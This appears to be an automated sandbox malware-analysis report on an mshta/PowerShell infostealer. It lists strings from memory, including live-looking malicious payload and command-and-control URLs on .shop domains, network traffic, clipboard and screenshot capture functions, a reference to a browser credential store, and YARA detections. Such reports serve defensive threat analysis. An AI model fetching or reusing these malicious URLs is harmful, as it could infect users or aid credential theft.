Source: powershell.exe, 00000004.00000002.2833938685.000000000EBB0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: powershell.exe, 00000004.00000002.2833938685.000000000EBB0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: powershell.exe, 00000004.00000002.2833938685.000000000EBB0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: powershell.exe, 00000004.00000002.2833938685.000000000EBB0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: powershell.exe, 00000004.00000002.2833938685.000000000EBB0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: powershell.exe, 00000004.00000002.2833938685.000000000EBB0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: powershell.exe, 00000004.00000002.2833938685.000000000EBB0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: powershell.exe, 00000002.00000002.2169498236.0000000006467000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2473160112.00000000060E8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.2833938685.000000000EBB0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 00000004.00000002.2833938685.000000000EBB0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: powershell.exe, 00000004.00000002.2833938685.000000000EBB0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 00000004.00000002.2833938685.000000000EBB0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: powershell.exe, 00000004.00000002.2473160112.00000000051D6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2166214254.0000000005401000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2473160112.0000000005081000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.2833938685.000000000EBB0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: powershell.exe, 00000004.00000002.2473160112.00000000051D6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000004.00000002.2833938685.000000000EBB0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: http://www.red-gate.com/products/dotnet-development/smartassembly/?utm_source=smartassemblyui&utm_me
Source: powershell.exe, 00000004.00000002.2833938685.000000000EBB0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: http://www.smartassembly.com/webservices/Reporting/
Source: powershell.exe, 00000004.00000002.2833938685.000000000EBB0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: http://www.smartassembly.com/webservices/Reporting/UploadReport2
Source: powershell.exe, 00000004.00000002.2833938685.000000000EBB0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: http://www.smartassembly.com/webservices/Reporting/UploadReport2v
Source: powershell.exe, 00000004.00000002.2833938685.000000000EBB0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: http://www.smartassembly.com/webservices/UploadReportLogin/
Source: powershell.exe, 00000004.00000002.2833938685.000000000EBB0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: http://www.smartassembly.com/webservices/UploadReportLogin/GetServerURL
Source: powershell.exe, 00000002.00000002.2166214254.0000000005401000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2473160112.0000000005081000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000004.00000002.2473160112.00000000060E8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.2473160112.00000000060E8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.2473160112.00000000060E8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000A.00000002.2611019468.00000000029DB000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2614706599.0000000004E6D000.00000004.00000800.00020000.00000000.sdmp, UAGVQ199I7H3ZT4G1PSFXCX6W.exe.10.dr String found in binary or memory: https://developers.cloudflare.com/r2/data-access/public-buckets/
Source: powershell.exe, 00000002.00000002.2170945557.0000000007A9D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://e1.foilovM
Source: powershell.exe, 00000002.00000002.2170945557.0000000007A9D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://e1.foilovMicrosoft.PowerShell.Utility.psd1
Source: powershell.exe, 00000004.00000002.2473160112.00000000051D6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e1.foiloverturnarrival.shop
Source: powershell.exe, 00000004.00000002.2511388089.0000000007770000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://e1.foiloverturnarrival.shop/5c85i3vbf.vdf
Source: powershell.exe, 00000004.00000002.2473160112.00000000051D6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.2735376513.000000000CB11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2735376513.000000000CB61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: powershell.exe, 00000004.00000002.2735376513.000000000CB11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2735376513.000000000CB61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: powershell.exe, 00000004.00000002.2735376513.000000000CB11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2735376513.000000000CB61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: powershell.exe, 0000000A.00000002.2615620386.0000000004EF8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://idealizetreez.shop/
Source: powershell.exe, 0000000A.00000002.2614421202.0000000004E60000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://idealizetreez.shop/&
Source: powershell.exe, 0000000A.00000002.2612459672.0000000002A3B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://idealizetreez.shop/api
Source: powershell.exe, 0000000A.00000002.2612459672.0000000002A3B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://idealizetreez.shop/apiP
Source: powershell.exe, 0000000A.00000002.2615868252.0000000004F0F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://idealizetreez.shop:443/api
Source: powershell.exe, 0000000A.00000002.2615868252.0000000004F0F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://idealizetreez.shop:443/api.default-release/key4.dbPK
Source: powershell.exe, 0000000A.00000002.2612459672.0000000002A3B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://klipgibob.shop/
Source: powershell.exe, 0000000A.00000002.2612459672.0000000002A3B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://klipgibob.shop/R
Source: powershell.exe, 0000000A.00000002.2612459672.0000000002A3B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://klipgibob.shop/d
Source: powershell.exe, 0000000A.00000002.2612459672.0000000002A3B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2611019468.00000000029DB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://klipgibob.shop/int_clp_8888.txt
Source: powershell.exe, 0000000A.00000002.2615868252.0000000004F0F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://klipgibob.shop:443/int_clp_8888.txtt
Source: powershell.exe, 00000002.00000002.2169498236.0000000006467000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2473160112.00000000060E8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000004.00000002.2833938685.000000000EBB0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://sectigo.com/CPS0
Source: powershell.exe, 00000004.00000002.2735376513.000000000CB11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2735376513.000000000CB61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: powershell.exe, 00000004.00000002.2735376513.000000000CB11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2735376513.000000000CB61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: powershell.exe, 00000004.00000002.2735376513.000000000CB11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2735376513.000000000CB61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: powershell.exe, 0000000A.00000002.2612459672.0000000002A39000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2612459672.0000000002A3B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2611019468.00000000029DB000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2614706599.0000000004E6D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2612459672.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2615868252.0000000004F0F000.00000004.00000800.00020000.00000000.sdmp, UAGVQ199I7H3ZT4G1PSFXCX6W.exe.10.dr String found in binary or memory: https://www.cloudflare.com/favicon.ico
Source: powershell.exe, 00000004.00000002.2833938685.000000000EBB0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.globalsign.com/repository/0
Source: unknown Network traffic detected: HTTP traffic on port 57662 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57702
Source: unknown Network traffic detected: HTTP traffic on port 57600 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57628
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57621
Source: unknown Network traffic detected: HTTP traffic on port 57628 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57654
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57600
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57644
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57635
Source: unknown Network traffic detected: HTTP traffic on port 57644 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57694
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57662
Source: unknown Network traffic detected: HTTP traffic on port 57621 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57694 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57675
Source: unknown Network traffic detected: HTTP traffic on port 57702 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57675 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown Network traffic detected: HTTP traffic on port 57654 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57635 -> 443
Source: unknown HTTPS traffic detected: 172.67.194.161:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.194.161:443 -> 192.168.2.6:57600 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.6:57621 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.6:57628 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.6:57635 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.6:57644 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.6:57654 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.6:57662 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.6:57675 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.6:57694 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.212.45:443 -> 192.168.2.6:57702 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00435480 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard, 10_2_00435480
Contains functionality to read the clipboard data
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00435480 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard, 10_2_00435480
Contains functionality to record screenshots
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00435D56 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject, 10_2_00435D56

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: Process Memory Space: powershell.exe PID: 2104, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Detected potential crypto function
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_04E7C370 4_2_04E7C370
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_085E1840 4_2_085E1840
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_085E1834 4_2_085E1834
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_085E1DCB 4_2_085E1DCB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA4761B 4_2_0AA4761B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA4F5B8 4_2_0AA4F5B8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA4BB90 4_2_0AA4BB90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA4BB98 4_2_0AA4BB98
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA43928 4_2_0AA43928
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA40160 4_2_0AA40160
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA40170 4_2_0AA40170
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA4F140 4_2_0AA4F140
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA45C97 4_2_0AA45C97
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA4DCC8 4_2_0AA4DCC8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA64BD1 4_2_0AA64BD1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA6794B 4_2_0AA6794B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA67950 4_2_0AA67950
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA646A0 4_2_0AA646A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0AA64691 4_2_0AA64691
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00421000 10_2_00421000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00424801 10_2_00424801
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0040D80A 10_2_0040D80A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0042E435 10_2_0042E435
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00412580 10_2_00412580
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00427670 10_2_00427670
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00439FB0 10_2_00439FB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00403850 10_2_00403850
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00406070 10_2_00406070
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00405810 10_2_00405810
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0043082C 10_2_0043082C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00440030 10_2_00440030
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_004310C7 10_2_004310C7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_004400D0 10_2_004400D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_004118DD 10_2_004118DD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0043F8E8 10_2_0043F8E8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_004410F0 10_2_004410F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0040A0AF 10_2_0040A0AF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_004148B0 10_2_004148B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0041214C 10_2_0041214C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0041D950 10_2_0041D950
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00440170 10_2_00440170
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00408100 10_2_00408100
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0041F100 10_2_0041F100
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00433100 10_2_00433100
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0041A110 10_2_0041A110
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0043B1E4 10_2_0043B1E4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00409180 10_2_00409180
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0042FA40 10_2_0042FA40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00435240 10_2_00435240
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0041D260 10_2_0041D260
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00439A70 10_2_00439A70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00404200 10_2_00404200
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00427A20 10_2_00427A20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0041BAD2 10_2_0041BAD2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0040AAE0 10_2_0040AAE0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_004072E0 10_2_004072E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_004192E0 10_2_004192E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0042CAE0 10_2_0042CAE0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00408A90 10_2_00408A90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00440A90 10_2_00440A90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00402AB0 10_2_00402AB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_004262BB 10_2_004262BB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0043AB50 10_2_0043AB50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0040B367 10_2_0040B367
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0042DB0E 10_2_0042DB0E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00427B1D 10_2_00427B1D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00404B30 10_2_00404B30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_004413D0 10_2_004413D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_004283E2 10_2_004283E2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0042C3E0 10_2_0042C3E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00431BEC 10_2_00431BEC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00421BF0 10_2_00421BF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0043E3F5 10_2_0043E3F5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0041CBA0 10_2_0041CBA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00423475 10_2_00423475
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00428C1C 10_2_00428C1C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0042543E 10_2_0042543E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00405CD0 10_2_00405CD0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00439490 10_2_00439490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_004404A0 10_2_004404A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00406500 10_2_00406500
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00415613 10_2_00415613
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0043D530 10_2_0043D530
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_004165C0 10_2_004165C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0043FDC0 10_2_0043FDC0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00432DD0 10_2_00432DD0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_004385DB 10_2_004385DB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00440DF0 10_2_00440DF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00424DA0 10_2_00424DA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00437E48 10_2_00437E48
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00409650 10_2_00409650
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00402E50 10_2_00402E50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00415613 10_2_00415613
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00419E30 10_2_00419E30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00428637 10_2_00428637
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_004296EE 10_2_004296EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_004396F0 10_2_004396F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0041D6A0 10_2_0041D6A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0042CEBE 10_2_0042CEBE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00417F57 10_2_00417F57
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00421700 10_2_00421700
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0041CF10 10_2_0041CF10
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0043FF20 10_2_0043FF20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0041B730 10_2_0041B730
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_004187C4 10_2_004187C4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00434FD0 10_2_00434FD0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0040CF99 10_2_0040CF99
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00426FA0 10_2_00426FA0
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: String function: 00407F10 appears 52 times
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: String function: 004148A0 appears 113 times
Searches for the Microsoft Outlook file path
Source: C:\Windows\SysWOW64\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Very long command line found
Source: C:\Windows\SysWOW64\mshta.exe Process created: Commandline size = 17414
Source: C:\Windows\SysWOW64\mshta.exe Process created: Commandline size = 17414 Jump to behavior
Yara signature match
Source: Process Memory Space: powershell.exe PID: 2104, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: classification engine Classification label: mal100.troj.spyw.evad.winHTA@10/7@4/3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00439FB0 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW, 10_2_00439FB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5388:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6872:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dfcwwmgq.gat.ps1 Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
